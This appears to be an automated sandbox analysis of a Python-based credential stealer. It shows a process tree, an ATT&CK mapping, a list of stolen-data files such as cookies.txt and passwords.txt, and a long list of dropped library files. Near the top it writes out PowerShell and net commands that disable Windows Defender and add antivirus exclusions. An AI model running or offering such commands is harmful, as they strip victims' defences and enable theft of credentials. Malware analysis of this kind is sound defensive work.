C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -MAPSReporting 0 -DisableBehaviorMonitoring $true; Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Defender','C:\Program Files\Common Files\McAfee','C:\Program Files\Symantec','C:\Program Files\Kaspersky Lab'""4⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -MAPSReporting 0 -DisableBehaviorMonitoring $true; Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Defender','C:\Program Files\Common Files\McAfee','C:\Program Files\Symantec','C:\Program Files\Kaspersky Lab'"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "net stop WinDefend /y"4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet stop WinDefend /y5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop WinDefend /y6⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\resources\elevate.exeC:\Users\Admin\AppData\Local\Temp\resources\elevate.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Visual Basic
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
1Ignore Process Interrupts
1Impair Defenses
1Disable or Modify Tools
1Modify Registry
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
cookies.txt
passwords.txt
94c5blg1
Cookies
Cookies
History
History
Web Data
Web Data
_collections_abc.cpython-310.pyc
_collections_abc.cpython-310.pyc.2038598641120
_sitebuiltins.cpython-310.pyc
abc.cpython-310.pyc
base64.cpython-310.pyc.2438383109872
bisect.cpython-310.pyc
calendar.cpython-310.pyc
cgi.cpython-310.pyc.2038672236752
codecs.cpython-310.pyc
configparser.cpython-310.pyc.2408527258816
contextlib.cpython-310.pyc.1752379183664
copy.cpython-310.pyc.2038623756352
csv.cpython-310.pyc
dataclasses.cpython-310.pyc.2408538320896
datetime.cpython-310.pyc.2438383477088
dis.cpython-310.pyc.2038622419200
functools.cpython-310.pyc.1752379463488
genericpath.cpython-310.pyc
getpass.cpython-310.pyc.2438440642448
heapq.cpython-310.pyc.2438438909200
inspect.cpython-310.pyc.1752397299360
io.cpython-310.pyc
keyword.cpython-310.pyc.1752379185536
locale.cpython-310.pyc.2408521903264
mimetypes.cpython-310.pyc.2038668422592
ntpath.cpython-310.pyc
operator.cpython-310.pyc.1752379185680
os.cpython-310.pyc.2438369157040
pickle.cpython-310.pyc.1752446937408
pkgutil.cpython-310.pyc.2038612965488
platform.cpython-310.pyc.2038611432848
plistlib.cpython-310.pyc.2438383476656
pprint.cpython-310.pyc.2408538320320
quopri.cpython-310.pyc.2438383124272
random.cpython-310.pyc.2438383936272
reprlib.cpython-310.pyc.1752379186688
runpy.cpython-310.pyc
shutil.cpython-310.pyc.1752387110496
site.cpython-310.pyc
socket.cpython-310.pyc.2438383942032
sre_compile.cpython-310.pyc.2438376120672
sre_parse.cpython-310.pyc.2038604634352
stat.cpython-310.pyc
subprocess.cpython-310.pyc
tempfile.cpython-310.pyc.2438392482384
textwrap.cpython-310.pyc.1752385944960
threading.cpython-310.pyc.2438377314544
types.cpython-310.pyc.1752379193888
typing.cpython-310.pyc.1752379516960
uuid.cpython-310.pyc.2438445630352
warnings.cpython-310.pyc.1752374180528
zipfile.cpython-310.pyc.1752386623008
_collections_abc.py
_sitebuiltins.py
abc.py
base_subprocess.cpython-310.pyc.2438440303344
base_tasks.cpython-310.pyc
constants.cpython-310.pyc.2408583801840
coroutines.cpython-310.pyc.2438440296944
events.cpython-310.pyc
exceptions.cpython-310.pyc.2038670238192
format_helpers.cpython-310.pyc.2408583802960
futures.cpython-310.pyc.2438440761312
locks.cpython-310.pyc.2438441125760
log.cpython-310.pyc.2038668757008
mixins.cpython-310.pyc
proactor_events.cpython-310.pyc.2438441402576
protocols.cpython-310.pyc
queues.cpython-310.pyc
selector_events.cpython-310.pyc.2438441403216
sslproto.cpython-310.pyc.2408585368544
streams.cpython-310.pyc.1752445966864
subprocess.cpython-310.pyc.2038670242192
tasks.cpython-310.pyc.1752445819552
threads.cpython-310.pyc.2408585627376
windows_events.cpython-310.pyc
codecs.py
__init__.py
__init__.cpython-310.pyc.1752374020496
abc.cpython-310.pyc.1752379518112
contextlib.py
wintypes.cpython-310.pyc.2038671465696
cmd.cpython-310.pyc.2408586096784
debug.cpython-310.pyc
dep_util.cpython-310.pyc
dir_util.cpython-310.pyc.2038670609744
dist.cpython-310.pyc.2408586113744
log.cpython-310.pyc
spawn.cpython-310.pyc.2038670680272
util.cpython-310.pyc
build.cpython-310.pyc
_policybase.cpython-310.pyc.2438392421456
feedparser.cpython-310.pyc.2438383478960
header.cpython-310.pyc.2438383112752
quoprimime.cpython-310.pyc.2438383112320
utils.cpython-310.pyc.2438383935696
__init__.py
__init__.cpython-310.pyc
aliases.cpython-310.pyc
cp1252.cpython-310.pyc.2408513899520
utf_16_le.cpython-310.pyc.2038672375856
utf_8.cpython-310.pyc
aliases.py
cp1252.py
utf_8.py
functools.py
genericpath.py
__init__.cpython-310.pyc
entities.cpython-310.pyc.2038672238768
client.cpython-310.pyc.2408565903344
cookiejar.cpython-310.pyc.2038669861072
cookies.cpython-310.pyc.2038670058688
__init__.py
__init__.cpython-310.pyc
_abc.cpython-310.pyc.1752379182800
_common.cpython-310.pyc
abc.cpython-310.pyc
machinery.cpython-310.pyc
resources.cpython-310.pyc
util.cpython-310.pyc.1752379182080
_abc.py
machinery.py
util.py
io.py
__init__.cpython-310.pyc.2408583396304
decoder.cpython-310.pyc.2408583396736
encoder.cpython-310.pyc
scanner.cpython-310.pyc.2438437894688
keyword.py
__init__.cpython-310.pyc.2408520995520
config.cpython-310.pyc.2438442882016
handlers.cpython-310.pyc.1752446936544
ntpath.py
operator.py
os.py
reprlib.py
runpy.py
AES.py
ARC2.py
ARC4.py
Blowfish.py
CAST.py
ChaCha20.py
ChaCha20_Poly1305.py
DES.py
DES3.py
PKCS1_OAEP.py
PKCS1_v1_5.py
Salsa20.py
_EKSBlowfish.py
__init__.py
AES.cpython-310.pyc
ARC2.cpython-310.pyc
ARC4.cpython-310.pyc
Blowfish.cpython-310.pyc
CAST.cpython-310.pyc
ChaCha20.cpython-310.pyc
ChaCha20_Poly1305.cpython-310.pyc
DES.cpython-310.pyc
DES3.cpython-310.pyc
PKCS1_OAEP.cpython-310.pyc
PKCS1_v1_5.cpython-310.pyc
Salsa20.cpython-310.pyc
_EKSBlowfish.cpython-310.pyc
__init__.cpython-310.pyc
_mode_cbc.cpython-310.pyc
_mode_ccm.cpython-310.pyc
_mode_cfb.cpython-310.pyc
_mode_ctr.cpython-310.pyc
_mode_eax.cpython-310.pyc
_mode_ecb.cpython-310.pyc
_mode_gcm.cpython-310.pyc
_mode_kw.cpython-310.pyc
_mode_kwp.cpython-310.pyc
_mode_ocb.cpython-310.pyc
_mode_ofb.cpython-310.pyc
_mode_openpgp.cpython-310.pyc
_mode_siv.cpython-310.pyc
_pkcs1_oaep_decode.cpython-310.pyc
_state_machine.cpython-310.pyc
oaep.cpython-310.pyc
_mode_cbc.py
_mode_ccm.py
_mode_cfb.py
_mode_ctr.py
_mode_eax.py
_mode_ecb.py
_mode_gcm.py
_mode_kw.py
_mode_kwp.py
_mode_ocb.py
_mode_ofb.py
_mode_openpgp.py
_mode_siv.py
_pkcs1_oaep_decode.py
_state_machine.py
oaep.py
BLAKE2b.py
BLAKE2s.py
CMAC.py
HMAC.py
KMAC128.py
KMAC256.py
KangarooTwelve.py
MD2.py
MD4.py
MD5.py
Poly1305.py
RIPEMD.py
RIPEMD160.py
SHA.py
SHA1.py
SHA224.py
SHA256.py
SHA384.py
SHA3_224.py
SHA3_256.py
SHA3_384.py
SHA3_512.py
SHA512.py
SHAKE128.py
SHAKE256.py
TupleHash128.py
TupleHash256.py
TurboSHAKE128.py
TurboSHAKE256.py
__init__.py
BLAKE2b.cpython-310.pyc
BLAKE2s.cpython-310.pyc
CMAC.cpython-310.pyc
HMAC.cpython-310.pyc
KMAC128.cpython-310.pyc
KMAC256.cpython-310.pyc
KangarooTwelve.cpython-310.pyc
MD2.cpython-310.pyc
MD4.cpython-310.pyc
MD5.cpython-310.pyc
Poly1305.cpython-310.pyc
RIPEMD.cpython-310.pyc
RIPEMD160.cpython-310.pyc
SHA.cpython-310.pyc
SHA1.cpython-310.pyc
SHA224.cpython-310.pyc
SHA256.cpython-310.pyc
SHA384.cpython-310.pyc
SHA3_224.cpython-310.pyc
SHA3_256.cpython-310.pyc
SHA3_384.cpython-310.pyc
SHA3_512.cpython-310.pyc
SHA512.cpython-310.pyc
SHAKE128.cpython-310.pyc
SHAKE256.cpython-310.pyc
TupleHash128.cpython-310.pyc
TupleHash256.cpython-310.pyc
TurboSHAKE128.cpython-310.pyc
TurboSHAKE256.cpython-310.pyc
__init__.cpython-310.pyc
cSHAKE128.cpython-310.pyc
cSHAKE256.cpython-310.pyc
keccak.cpython-310.pyc
cSHAKE128.py
cSHAKE256.py
keccak.py
PEM.py
PKCS8.py
_PBES.py
__init__.py
PEM.cpython-310.pyc
PKCS8.cpython-310.pyc
_PBES.cpython-310.pyc
__init__.cpython-310.pyc
Numbers.py
Primality.py
_IntegerBase.py
_IntegerNat.py
_IntegerNative.py
Numbers.cpython-310.pyc
Primality.cpython-310.pyc
_IntegerBase.cpython-310.pyc
_IntegerNat.cpython-310.pyc
_IntegerNative.cpython-310.pyc
__init__.cpython-310.pyc
DH.py
HPKE.py
KDF.py
SecretSharing.py
__init__.py
DH.cpython-310.pyc
HPKE.cpython-310.pyc
KDF.cpython-310.pyc
SecretSharing.cpython-310.pyc
__init__.cpython-310.pyc
DSA.py
ECC.py
ElGamal.py
Hybrid.py
MLDSA.py
MLKEM.py
RSA.py
__init__.py
DSA.cpython-310.pyc
ECC.cpython-310.pyc
ElGamal.cpython-310.pyc
Hybrid.cpython-310.pyc
MLDSA.cpython-310.pyc
MLKEM.cpython-310.pyc
RSA.cpython-310.pyc
__init__.cpython-310.pyc
_curve.cpython-310.pyc
_ec_lib.cpython-310.pyc
_edwards.cpython-310.pyc
_montgomery.cpython-310.pyc
_nist_ecc.cpython-310.pyc
_openssh.cpython-310.pyc
_point.cpython-310.pyc
_curve.py
_ec_lib.py
_edwards.py
_montgomery.py
_nist_ecc.py
_openssh.py
_point.py
__init__.py
__init__.cpython-310.pyc
random.cpython-310.pyc
random.py
__init__.py
__init__.cpython-310.pyc
common.cpython-310.pyc
test_AES.cpython-310.pyc
test_ARC2.cpython-310.pyc
test_ARC4.cpython-310.pyc
test_Blowfish.cpython-310.pyc
test_CAST.cpython-310.pyc
test_CBC.cpython-310.pyc
test_CCM.cpython-310.pyc
test_CFB.cpython-310.pyc
test_CTR.cpython-310.pyc
test_ChaCha20.cpython-310.pyc
test_ChaCha20_Poly1305.cpython-310.pyc
test_DES.cpython-310.pyc
test_DES3.cpython-310.pyc
test_EAX.cpython-310.pyc
test_GCM.cpython-310.pyc
test_KW.cpython-310.pyc
test_OCB.cpython-310.pyc
test_OFB.cpython-310.pyc
test_OpenPGP.cpython-310.pyc
test_SIV.cpython-310.pyc
test_Salsa20.cpython-310.pyc
test_message_too_long.cpython-310.pyc
test_pkcs1_15.cpython-310.pyc
test_pkcs1_oaep.cpython-310.pyc
test_shared_objects.cpython-310.pyc
common.py
test_AES.py
test_ARC2.py
test_ARC4.py
test_Blowfish.py
test_CAST.py
test_CBC.py
test_CCM.py
test_CFB.py
test_CTR.py
test_ChaCha20.py
test_ChaCha20_Poly1305.py
test_DES.py
test_DES3.py
test_EAX.py
test_GCM.py
test_KW.py
test_OCB.py
test_OFB.py
test_OpenPGP.py
test_SIV.py
test_Salsa20.py
test_message_too_long.py
test_pkcs1_15.py
test_pkcs1_oaep.py
test_shared_objects.py
__init__.py
__init__.cpython-310.pyc
common.cpython-310.pyc
test_BLAKE2.cpython-310.pyc
test_CMAC.cpython-310.pyc
test_HMAC.cpython-310.pyc
test_KMAC.cpython-310.pyc
test_KangarooTwelve.cpython-310.pyc
test_MD2.cpython-310.pyc
test_MD4.cpython-310.pyc
test_MD5.cpython-310.pyc
test_Poly1305.cpython-310.pyc
test_RIPEMD160.cpython-310.pyc
test_SHA1.cpython-310.pyc
test_SHA224.cpython-310.pyc
test_SHA256.cpython-310.pyc
test_SHA384.cpython-310.pyc
test_SHA3_224.cpython-310.pyc
test_SHA3_256.cpython-310.pyc
test_SHA3_384.cpython-310.pyc
test_SHA3_512.cpython-310.pyc
test_SHA512.cpython-310.pyc
test_SHAKE.cpython-310.pyc
test_TupleHash.cpython-310.pyc
test_TurboSHAKE.cpython-310.pyc
test_cSHAKE.cpython-310.pyc
test_keccak.cpython-310.pyc
test_oneshot_digest.cpython-310.pyc
test_shared_objects.cpython-310.pyc
common.py
test_BLAKE2.py
test_CMAC.py
test_HMAC.py
test_KMAC.py
test_KangarooTwelve.py
test_MD2.py
test_MD4.py
test_MD5.py
test_Poly1305.py
test_RIPEMD160.py
test_SHA1.py
test_SHA224.py
test_SHA256.py
test_SHA384.py
test_SHA3_224.py
test_SHA3_256.py
test_SHA3_384.py
test_SHA3_512.py
test_SHA512.py
test_SHAKE.py
test_TupleHash.py
test_TurboSHAKE.py
test_cSHAKE.py
test_keccak.py
test_oneshot_digest.py
test_shared_objects.py
__init__.py
__init__.cpython-310.pyc
test_PBES.cpython-310.pyc
test_PKCS8.cpython-310.pyc
test_PBES.py
test_PKCS8.py
__init__.py
__init__.cpython-310.pyc
test_Numbers.cpython-310.pyc
test_Primality.cpython-310.pyc
test_nat.cpython-310.pyc
test_Numbers.py
test_Primality.py
test_nat.py
__init__.py
__init__.cpython-310.pyc
test_HPKE.cpython-310.pyc
test_KDF.cpython-310.pyc
test_SecretSharing.cpython-310.pyc
test_ecdh.cpython-310.pyc
test_rfc1751.cpython-310.pyc
test_HPKE.py
test_KDF.py
test_SecretSharing.py
test_ecdh.py
test_rfc1751.py
__init__.py
__init__.cpython-310.pyc
test_DSA.cpython-310.pyc
test_ECC_Curve25519.cpython-310.pyc
test_ECC_Curve448.cpython-310.pyc
test_ECC_Ed25519.cpython-310.pyc
test_ECC_Ed448.cpython-310.pyc
test_ECC_NIST.cpython-310.pyc
test_ECC_secp256k1.cpython-310.pyc
test_ElGamal.cpython-310.pyc
test_Hybrid.cpython-310.pyc
test_MLDSA.cpython-310.pyc
test_MLKEM.cpython-310.pyc
test_RSA.cpython-310.pyc
test_import_Curve25519.cpython-310.pyc
test_import_Curve448.cpython-310.pyc
test_import_DSA.cpython-310.pyc
test_import_ECC.cpython-310.pyc
test_import_MLDSA.cpython-310.pyc
test_import_MLKEM.cpython-310.pyc
test_import_RSA.cpython-310.pyc
test_import_passphrase.cpython-310.pyc
test_DSA.py
test_ECC_Curve25519.py
test_ECC_Curve448.py
test_ECC_Ed25519.py
test_ECC_Ed448.py
test_ECC_NIST.py
test_ECC_secp256k1.py
test_ElGamal.py
test_Hybrid.py
test_MLDSA.py
test_MLKEM.py
test_RSA.py
test_import_Curve25519.py
test_import_Curve448.py
test_import_DSA.py
test_import_ECC.py
test_import_MLDSA.py
test_import_MLKEM.py
test_import_RSA.py
test_import_passphrase.py
__init__.py
__init__.cpython-310.pyc
test_random.cpython-310.pyc
test_random.py
__init__.py
__init__.cpython-310.pyc
test_dss.cpython-310.pyc
test_eddsa.cpython-310.pyc
test_mldsa.cpython-310.pyc
test_pkcs1_15.cpython-310.pyc
test_pss.cpython-310.pyc
test_dss.py
test_eddsa.py
test_mldsa.py
test_pkcs1_15.py
test_pss.py
__init__.py
__init__.cpython-310.pyc
test_Counter.cpython-310.pyc
test_Padding.cpython-310.pyc
test_asn1.cpython-310.pyc
test_cpu_features.cpython-310.pyc
test_number.cpython-310.pyc
test_raw_api.cpython-310.pyc
test_rfc1751.cpython-310.pyc
test_strxor.cpython-310.pyc
test_threads.cpython-310.pyc
test_Counter.py
test_Padding.py
test_asn1.py
test_cpu_features.py
test_number.py
test_raw_api.py
test_rfc1751.py
test_strxor.py
test_threads.py
__init__.py
__main__.py
__init__.cpython-310.pyc
__main__.cpython-310.pyc
loader.cpython-310.pyc
plugin.cpython-310.pyc
st_common.cpython-310.pyc
loader.py
plugin.py
st_common.py
DSS.py
PKCS1_PSS.py
PKCS1_v1_5.py
__init__.py
DSS.cpython-310.pyc
PKCS1_PSS.cpython-310.pyc
PKCS1_v1_5.cpython-310.pyc
__init__.cpython-310.pyc
eddsa.cpython-310.pyc
mldsa.cpython-310.pyc
pkcs1_15.cpython-310.pyc
pss.cpython-310.pyc
eddsa.py
mldsa.py
pkcs1_15.py
pss.py
Counter.py
Padding.py
RFC1751.py
__init__.py
Counter.cpython-310.pyc
Padding.cpython-310.pyc
RFC1751.cpython-310.pyc
__init__.cpython-310.pyc
_bytes.cpython-310.pyc
_cpu_features.cpython-310.pyc
_file_system.cpython-310.pyc
_raw_api.cpython-310.pyc
_threads.cpython-310.pyc
asn1.cpython-310.pyc
number.cpython-310.pyc
strxor.cpython-310.pyc
_bytes.py
_cpu_features.py
_file_system.py
_raw_api.py
_threads.py
asn1.py
number.py
strxor.py
__init__.py
__init__.cpython-310.pyc
pythoncom.cpython-310.pyc
__init__.py
__init__.cpython-310.pyc
ado_consts.cpython-310.pyc
adodbapi.cpython-310.pyc
apibase.cpython-310.pyc
is64bit.cpython-310.pyc
process_connect_string.cpython-310.pyc
schema_table.cpython-310.pyc
setup.cpython-310.pyc
ado_consts.py
adodbapi.py
apibase.py
db_print.cpython-310.pyc
db_table_names.cpython-310.pyc
xls_read.cpython-310.pyc
xls_write.cpython-310.pyc
db_print.py
db_table_names.py
xls_read.py
xls_write.py
is64bit.py
process_connect_string.py
schema_table.py
setup.py
adodbapitest.cpython-310.pyc
adodbapitestconfig.cpython-310.pyc
dbapi20.cpython-310.pyc
is64bit.cpython-310.pyc
setuptestframework.cpython-310.pyc
test_adodbapi_dbapi20.cpython-310.pyc
tryconnection.cpython-310.pyc
adodbapitest.py
adodbapitestconfig.py
dbapi20.py
is64bit.py
setuptestframework.py
test_adodbapi_dbapi20.py
tryconnection.py
__init__.py
__init__.cpython-310.pyc
install.cpython-310.pyc
isapicon.cpython-310.pyc
simple.cpython-310.pyc
threaded_extension.cpython-310.pyc
install.py
isapicon.py
advanced.cpython-310.pyc
redirector.cpython-310.pyc
redirector_asynch.cpython-310.pyc
redirector_with_filter.cpython-310.pyc
test.cpython-310.pyc
advanced.py
redirector.py
redirector_asynch.py
redirector_with_filter.py
test.py
simple.py
extension_simple.cpython-310.pyc
extension_simple.py
threaded_extension.py
build_env.cpython-310.pyc.2408589982016
self_outdated_check.cpython-310.pyc.2438448696640
wheel_builder.cpython-310.pyc.2038678076768
command_context.cpython-310.pyc.2408587218064
req_command.cpython-310.pyc.2038672029136
spinners.cpython-310.pyc.2438445370512
install.cpython-310.pyc.2438443035344
collector.cpython-310.pyc.2038672251120
package_finder.cpython-310.pyc.2438443420640
sources.cpython-310.pyc.2438445593536
_distutils.cpython-310.pyc.2408586079632
format_control.cpython-310.pyc
index.cpython-310.pyc
scheme.cpython-310.pyc.1752446023472
search_scope.cpython-310.pyc
selection_prefs.cpython-310.pyc.2438444265136
target_python.cpython-310.pyc.2038671522640
__init__.cpython-310.pyc
auth.cpython-310.pyc.2408588770304
cache.cpython-310.pyc
download.cpython-310.pyc.2408590980032
session.cpython-310.pyc.2038674593856
__init__.cpython-310.pyc.2408590231488
check.cpython-310.pyc.2038672247424
__init__.cpython-310.pyc.2408590164208
metadata.cpython-310.pyc.2408590164400
metadata_legacy.cpython-310.pyc.2408590164592
wheel_legacy.cpython-310.pyc.2038677930992
__init__.cpython-310.pyc.2408590164976
editable_legacy.cpython-310.pyc
legacy.cpython-310.pyc
wheel.cpython-310.pyc
__init__.cpython-310.pyc.2438445800896
constructors.cpython-310.pyc.1752451593152
req_file.cpython-310.pyc.2438445802480
req_install.cpython-310.pyc.2438445803360
base.cpython-310.pyc
candidates.cpython-310.pyc.2408592806832
factory.cpython-310.pyc.2408592807216
provider.cpython-310.pyc.1752453272496
requirements.cpython-310.pyc.2408592807792
_log.cpython-310.pyc
compatibility_tags.cpython-310.pyc.2038671203312
deprecation.cpython-310.pyc.1752446327024
misc.cpython-310.pyc.2438382537696
models.cpython-310.pyc.2038672012224
setuptools_build.cpython-310.pyc.2408588328560
wheel.cpython-310.pyc.2038675778256
mercurial.cpython-310.pyc
subversion.cpython-310.pyc.1752449901200
versioncontrol.cpython-310.pyc.1752450120704
pyparsing.cpython-310.pyc.2038622348096
compat.cpython-310.pyc.2408589147840
controller.cpython-310.pyc.2038673427888
filewrapper.cpython-310.pyc.2408588320304
serialize.cpython-310.pyc
__init__.cpython-310.pyc.2038667324464
big5freq.cpython-310.pyc.2438438024128
big5prober.cpython-310.pyc.2408583100736
charsetprober.cpython-310.pyc.2038667288880
enums.cpython-310.pyc.2038667288352
escprober.cpython-310.pyc.2038667290816
escsm.cpython-310.pyc
euctwprober.cpython-310.pyc.2408583101616
gb2312prober.cpython-310.pyc.2408583098448
hebrewprober.cpython-310.pyc.1752443105712
jisfreq.cpython-310.pyc.1752443094096
jpcntx.cpython-310.pyc.1752443172128
langhebrewmodel.cpython-310.pyc.2438437224688
langrussianmodel.cpython-310.pyc.2438437225648
langthaimodel.cpython-310.pyc.2038666466336
langturkishmodel.cpython-310.pyc.2438437225648
latin1prober.cpython-310.pyc.2038667293632
mbcsgroupprober.cpython-310.pyc
mbcssm.cpython-310.pyc.2038667216128
sbcsgroupprober.cpython-310.pyc.2408539585776
universaldetector.cpython-310.pyc.2038648926448
utf8prober.cpython-310.pyc
__init__.cpython-310.pyc
ansi.cpython-310.pyc.2038671512256
ansitowin32.cpython-310.pyc.2038671390160
initialise.cpython-310.pyc.1752447198544
winterm.cpython-310.pyc.2038671514544
__init__.cpython-310.pyc
compat.cpython-310.pyc
scripts.cpython-310.pyc.2038675211344
__init__.cpython-310.pyc.1752448105296
_inputstream.cpython-310.pyc.1752449232096
_tokenizer.cpython-310.pyc.2038673704544
constants.cpython-310.pyc.2038672829488
html5parser.cpython-310.pyc.1752448480544
serializer.cpython-310.pyc.2038673264992
__init__.cpython-310.pyc.2038673428272
_base.cpython-310.pyc
py.cpython-310.pyc.2038673761616
base.cpython-310.pyc.2408588315120
etree.cpython-310.pyc.2438448715440
intranges.cpython-310.pyc.1752444927328
__init__.cpython-310.pyc.2408589139920
_version.cpython-310.pyc.2408589140976
ext.cpython-310.pyc.2408589141504
fallback.cpython-310.pyc.2038674928224
markers.cpython-310.pyc.2408539689488
__init__.cpython-310.pyc
compat.cpython-310.pyc.2438445920336
wrappers.cpython-310.pyc.2438445914000
__init__.cpython-310.pyc.2408588328368
__init__.cpython-310.pyc.2438382792608
spinner.cpython-310.pyc
__init__.cpython-310.pyc.1752387882656
_internal_utils.cpython-310.pyc
api.cpython-310.pyc
compat.cpython-310.pyc.2438437741200
sessions.cpython-310.pyc
providers.cpython-310.pyc.2408592911760
reporters.cpython-310.pyc.2408592911760
resolvers.cpython-310.pyc.1752453504096
structs.cpython-310.pyc.1752453512896
__init__.cpython-310.pyc.1752453272112
__init__.cpython-310.pyc.2438440576688
stop.cpython-310.pyc.2408585071408
__init__.cpython-310.pyc.2438445921744
_parser.cpython-310.pyc
_re.cpython-310.pyc
_collections.cpython-310.pyc.2438438807744
fields.cpython-310.pyc.2038668446864
filepost.cpython-310.pyc
response.cpython-310.pyc.2038668446336
socks.cpython-310.pyc.2438439421888
six.cpython-310.pyc.2038667434928
retry.cpython-310.pyc.2038668065968
ssl_.cpython-310.pyc.2038668175200
__init__.cpython-310.pyc.2038673707008
labels.cpython-310.pyc.2408588241616
INSTALLERijloa8j3.tmp
RECORD
__init__.py
__init__.cpython-310.pyc
_common.cpython-310.pyc
_ntuples.cpython-310.pyc
_psaix.cpython-310.pyc
_psbsd.cpython-310.pyc
_pslinux.cpython-310.pyc
_psosx.cpython-310.pyc
_psposix.cpython-310.pyc
_pssunos.cpython-310.pyc
_pswindows.cpython-310.pyc
_common.py
_ntuples.py
_psaix.py
_psbsd.py
_pslinux.py
_psosx.py
_psposix.py
_pssunos.py
_pswindows.py
RECORD
pythoncom.py
RECORD
cmdserver.cpython-310.pyc
createwin.cpython-310.pyc
demoutils.cpython-310.pyc
dibdemo.cpython-310.pyc
dlgtest.cpython-310.pyc
dyndlg.cpython-310.pyc
fontdemo.cpython-310.pyc
guidemo.cpython-310.pyc
hiertest.cpython-310.pyc
menutest.cpython-310.pyc
objdoc.cpython-310.pyc
openGLDemo.cpython-310.pyc
progressbar.cpython-310.pyc
sliderdemo.cpython-310.pyc
splittst.cpython-310.pyc
threadedgui.cpython-310.pyc
toolbar.cpython-310.pyc
basictimerapp.cpython-310.pyc
customprint.cpython-310.pyc
demoutils.cpython-310.pyc
dlgappdemo.cpython-310.pyc
dojobapp.cpython-310.pyc
helloapp.cpython-310.pyc
basictimerapp.py
customprint.py
demoutils.py
dlgappdemo.py
dojobapp.py
helloapp.py
cmdserver.py
createwin.py
demoutils.py
dibdemo.py
dlgtest.py
dyndlg.py
fontdemo.py
guidemo.py
hiertest.py
menutest.py
objdoc.py
demoutils.cpython-310.pyc
flash.cpython-310.pyc
msoffice.cpython-310.pyc
ocxserialtest.cpython-310.pyc
ocxtest.cpython-310.pyc
webbrowser.cpython-310.pyc
flash.py
msoffice.py
ocxserialtest.py
ocxtest.py
webbrowser.py
openGLDemo.py
progressbar.py
sliderdemo.py
splittst.py
threadedgui.py
toolbar.py
__init__.py
__init__.cpython-310.pyc
__init__.py
__init__.cpython-310.pyc
configui.cpython-310.pyc
dbgcon.cpython-310.pyc
dbgpyapp.cpython-310.pyc
debugger.cpython-310.pyc
fail.cpython-310.pyc
configui.py
dbgcon.py
dbgpyapp.py
debugger.py
fail.py
__init__.cpython-310.pyc
ideoptions.cpython-310.pyc
list.cpython-310.pyc
login.cpython-310.pyc
status.cpython-310.pyc
ideoptions.py
list.py
login.py
status.py
DockingBar.py
DockingBar.cpython-310.pyc
__init__.cpython-310.pyc
__init__.cpython-310.pyc
app.cpython-310.pyc
bitmap.cpython-310.pyc
cmdline.cpython-310.pyc
dbgcommands.cpython-310.pyc
dlgappcore.cpython-310.pyc
help.cpython-310.pyc
interact.cpython-310.pyc
intpyapp.cpython-310.pyc
intpydde.cpython-310.pyc
scriptutils.cpython-310.pyc
sgrepmdi.cpython-310.pyc
startup.cpython-310.pyc
stdin.cpython-310.pyc
toolmenu.cpython-310.pyc
window.cpython-310.pyc
winout.cpython-310.pyc
app.py
bitmap.py
cmdline.py
dbgcommands.py
dlgappcore.py
ModuleBrowser.py
__init__.py
ModuleBrowser.cpython-310.pyc
__init__.cpython-310.pyc
configui.cpython-310.pyc
document.cpython-310.pyc
editor.cpython-310.pyc
frame.cpython-310.pyc
template.cpython-310.pyc
vss.cpython-310.pyc
__init__.cpython-310.pyc
coloreditor.cpython-310.pyc
coloreditor.py
configui.py
document.py
editor.py
frame.py
template.py
vss.py
help.py
interact.py
intpyapp.py
intpydde.py
scriptutils.py
sgrepmdi.py
startup.py
stdin.py
toolmenu.py
window.py
winout.py
AutoExpand.py
AutoIndent.py
CallTips.py
FormatParagraph.py
IdleHistory.py
PyParse.py
__init__.py
AutoExpand.cpython-310.pyc
AutoIndent.cpython-310.pyc
CallTips.cpython-310.pyc
FormatParagraph.cpython-310.pyc
IdleHistory.cpython-310.pyc
PyParse.cpython-310.pyc
__init__.cpython-310.pyc
__init__.cpython-310.pyc
activex.cpython-310.pyc
afxres.cpython-310.pyc
dialog.cpython-310.pyc
docview.cpython-310.pyc
object.cpython-310.pyc
thread.cpython-310.pyc
window.cpython-310.pyc
activex.py
afxres.py
dialog.py
docview.py
object.py
thread.py
window.py
IDLEenvironment.py
__init__.py
IDLEenvironment.cpython-310.pyc
__init__.cpython-310.pyc
bindings.cpython-310.pyc
config.cpython-310.pyc
configui.cpython-310.pyc
control.cpython-310.pyc
document.cpython-310.pyc
find.cpython-310.pyc
formatter.cpython-310.pyc
keycodes.cpython-310.pyc
scintillacon.cpython-310.pyc
view.cpython-310.pyc
bindings.py
config.py
configui.py
control.py
document.py
find.py
formatter.py
keycodes.py
scintillacon.py
view.py
TraceCollector.py
TraceCollector.cpython-310.pyc
__init__.cpython-310.pyc
browseProjects.cpython-310.pyc
browser.cpython-310.pyc
hierlist.cpython-310.pyc
regedit.cpython-310.pyc
regpy.cpython-310.pyc
browseProjects.py
browser.py
hierlist.py
regedit.py
regpy.py
RECORD
license.txt
License.txt
README.txt
License.txt
LICENSE.txt
BackupRead_BackupWrite.py
BackupSeek_streamheaders.py
CopyFileEx.py
CreateFileTransacted_MiniVersion.py
EvtFormatMessage.py
EvtSubscribe_pull.py
EvtSubscribe_push.py
FileSecurityTest.py
GetSaveFileName.py
NetValidatePasswordPolicy.py
OpenEncryptedFileRaw.py
RegCreateKeyTransacted.py
RegRestoreKey.py
SystemParametersInfo.py
BackupRead_BackupWrite.cpython-310.pyc
BackupSeek_streamheaders.cpython-310.pyc
CopyFileEx.cpython-310.pyc
CreateFileTransacted_MiniVersion.cpython-310.pyc
EvtFormatMessage.cpython-310.pyc
EvtSubscribe_pull.cpython-310.pyc
EvtSubscribe_push.cpython-310.pyc
FileSecurityTest.cpython-310.pyc
